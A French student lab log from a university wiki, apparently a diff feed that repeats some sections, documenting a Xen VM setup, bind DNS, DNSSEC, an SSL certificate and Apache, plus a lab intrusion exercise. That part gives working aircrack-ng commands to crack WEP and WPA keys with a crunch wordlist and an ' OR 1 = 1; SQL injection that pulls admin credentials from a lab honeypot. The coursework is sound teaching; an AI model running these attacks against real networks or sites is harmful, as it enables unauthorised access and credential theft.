$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "your.name@polytech-lille.net" -P ''<br />
<br />
$ python3 -m venv ~/env-ansible<br />
$ . ~/env-ansible/bin/activate<br />
$ pip3 install -U setuptools wheel<br />
$ pip3 install -U ansible<br />
<br />
puis <br />
$ ansible-playbook -v -i inventory polytech.yaml<br />
<br />
Parallèlement, on configure notre VM sur chassiron.plil.info. On utilise comme machine virtuelle celle attribuée à notre groupe (groupe 11) :<br />
$ cd /etc/xen<br />
$ xen create pra-11.cfg<br />
$ xen console pra-11<br />
<br />
On se log dans la VM et on configure l'interface eth0 dans /etc/network/interfaces:<br />
auto eth0<br />
iface eth0 inet static <br />
address 172.26.145.111<br />
netmask 255.255.255.0<br />
network 172.26.145.0<br />
gateway 172.26.145.254<br />
<br />
On s'assure qu'on peut ping l'adresse de la VM depuis la zabeth.<br />
On cherche à configurer automatiquement les clés SSH acceptées par la VM grâce à Ansible. Pour cela, on créé un nouveau role dans le dossier 'roles' que l'on appelle ssh-keys.<br />
On créé les dossiers templates et tasks en se basant sur le dossier base fourni.<br />
---<br />
- hosts: all<br />
roles:<br />
# installs the `ssh_keys` role onto the targetted host<br />
- role: ssh_key<br />
tags: ssh_key<br />
<br />
On change également dans polytech.yaml les roles que l'on souhaite appeller au lancement de Ansible (on remplace base par ssh_key)<br />
PRA-11 ansible_ssh_host="172.26.145.111"<br />
<br />
<br />
Dans inventory, on spécifie le nom de la machine ainsi que l'adresse ip de cette dernière<br />
On doit également ajouter une task afin de patch la distro BullsEye que l'on utilise sur la VM :<br />
#<br />
# /etc/apt/sources.list<br />
#<br />
#<br />
# bullseye<br />
#<br />
deb http://deb.debian.org/debian bullseye main contrib non-free<br />
deb-src http://deb.debian.org/debian bullseye main contrib non-free<br />
<br />
On installe enfin python3 sur la VM, nécessaire pour le déploiment.<br />
<br />
# <br />
# Security updates<br />
# <br />
deb http://security.debian.org/debian-security bullseye-security main contrib non-free</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=57953TP sysres IMA5 2021/2022 G112022-01-12T11:51:32Z<p>Cgodet1 : /* TP ASR */</p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa J......G.^..._..<br />
00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12 ...I.....s".....<br />
00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0 .?.$..R.1.iD....<br />
00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85 .3M..?...(..m/.. <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67<br />
Session-ID-ctx: <br />
Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5 ......k-.F.P"(..<br />
0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0 $\'@.X...A..!...<br />
0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e .........T..p..N<br />
0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90 H......`m.....0.<br />
0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29 hZ.......$.!'6.)<br />
0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf 7:.S.*&.....n.k.<br />
0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55 ..D...._g....:.U<br />
0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09 ........>a.m....<br />
0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9 M.'..R.._.....g.<br />
00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8 ......c6........<br />
00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2 nU...St.t.s.....<br />
00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14 1Y...".O#...d.\.<br />
00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e ....K..C\'...... <br />
<br />
Start Time: 1639409551<br />
Timeout : 7200 (sec)<br />
Verify return code: 0 (ok)<br />
Extended master secret: no<br />
Max Early Data: 0<br />
---<br />
read R BLOCK<br />
closed<br />
<br />
La commande :<br />
apachectl configtest<br />
nous confirme que la config est OK<br />
<br />
<br />
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html<br />
<br />
=Securisation du DNS avec DNSSEC =<br />
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec <br />
dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club<br />
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club<br />
<br />
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private} <br />
on ajoute dans /etc/bind/db.corona59.club :<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-ksk.key"<br />
$INCLUDE "/etc/bind/corona59.club.dnssec/corona59.club-zsk.key"<br />
<br />
On signe avec la commande :<br />
dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk<br />
<br />
on obtient :<br />
Verifying the zone using the following algorithms:<br />
- NSEC3RSASHA1<br />
Zone fully signed:<br />
Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked<br />
ZSKs: 1 active, 0 stand-by, 0 revoked<br />
../db.corona59.club.signed<br />
<br />
ainsi qu'un fichier que l'on renomme en corona59.club.signed<br />
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :<br />
zone "corona59.club" {<br />
type master;<br />
file "/etc/bind/corona59.club.dnssec/corona59.club.signed";<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
<br />
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.<br />
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'<br />
<br />
=Test d'intrusion=<br />
<br />
On commence par tenter de casser une clé WEP.<br />
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :<br />
airmon-ng<br />
<br />
puis on lance (3 représente la channel utilisée)<br />
airmon-ng start NOM_DE_L_INTERFACE 3<br />
<br />
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.<br/><br />
Pour visualiser les paquets sniffés, on execute alors <br />
airodump-ng -c 3 wlan0mon<br />
<br />
On observe plusieurs emetteurs, avec leur BSSID associé.<br />
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A<br />
On lance alors la commande : <br />
airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon<br />
<br />
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :<br />
aircrack-ng MonFichier-01.cap<br />
<br />
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.<br />
<br />
<br />
On essaye à présent de casser une clé WPA.<br />
On scanne la bande de fréquence 9 :<br />
airodump-ng -c 9 wlan0mon<br />
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A<br />
On récupère ensuite des handshakes avec la commande : <br />
airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon<br />
Par la suite, on souhaite utiliser l'utilitaire crunch.<br />
apt install crunch<br />
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :<br />
auto enp4s0<br />
iface enp4s0 inet static<br />
address 172.26.145.121/24<br />
gateway 172.26.145.254<br />
<br />
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :<br />
crunch 8 8 0123456789 -o password.lst<br />
<br />
Enfin, on lance la commande :<br />
aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap<br />
<br />
Le processus peut prendre plusieurs heures.<br />
<br />
=Injection SQL=<br />
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend<br />
Pour ce faire, on met dans la cellule 'identifiant' la valeur <br />
' OR 1 = 1;<br />
Coté backend, la requete SQL effectuée ressemble probablement à<br />
select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';<br />
<br />
En conséquence, notre injection génère la requete :<br />
select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';<br />
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table<br />
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.<br />
<br />
=TP ASR=<br />
<br />
on télécharge le dossier fourni par Thomas sur 'https://github.com/thomas-maurice/polytech-asr-lab'<br />
on définit une clé SSH et créé un environnement python virtuel : <br />
